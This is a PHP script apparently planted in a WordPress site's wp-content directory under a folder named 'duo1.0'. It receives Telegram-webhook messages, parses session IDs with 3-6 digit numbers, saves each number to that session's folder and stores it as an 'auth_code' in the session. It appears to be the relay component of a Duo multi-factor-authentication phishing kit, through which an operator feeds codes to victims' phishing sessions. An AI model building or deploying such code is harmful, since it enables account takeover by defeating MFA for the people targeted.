File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/duo1.0/receive_number.php
<?php
session_start();
$input = file_get_contents('php://input');
// Log raw input data for debugging
file_put_contents('receive_test_log.txt', "Input received: $input\n", FILE_APPEND);
// Decode the incoming JSON data
$data = json_decode($input, true);
if (isset($data['message']['text'])) {
$messageText = trim($data['message']['text']);
// Log received message
file_put_contents('receive_test_log.txt', "Message Text: $messageText\n", FILE_APPEND);
// Fix: Adjust regex to match 3 to 6-digit numbers correctly
if (preg_match('/^(season_[a-f0-9]+)\/(\d{3,6})$/', $messageText, $matches)) {
$seasonId = $matches[1]; // Extracted season ID
$number = $matches[2]; // Extracted number
// Define the folder path where the season was already created by season.php
$seasonFolder = __DIR__ . "/$seasonId"; // Make sure this points to the correct folder
$filename = "$seasonFolder/selected_number.txt";
// Log the season folder for debugging
file_put_contents('receive_test_log.txt', "Season Folder: $seasonFolder\n", FILE_APPEND);
// Check if the season folder exists
if (is_dir($seasonFolder)) {
// Save the number to the selected_number.txt file inside the pre-existing folder
if (file_put_contents($filename, $number) !== false) {
$_SESSION['auth_code'] = $number;
file_put_contents('receive_test_log.txt', "Number saved: $number in $filename\n", FILE_APPEND);
} else {
file_put_contents('receive_test_log.txt', "Failed to write to file: $filename\n", FILE_APPEND);
}
} else {
// Log if the folder doesn't exist
file_put_contents('receive_test_log.txt', "Season folder does not exist: $seasonFolder\n", FILE_APPEND);
}
} else {
// Log invalid format
file_put_contents('receive_test_log.txt', "Message format invalid: $messageText\n", FILE_APPEND);
}
}
?>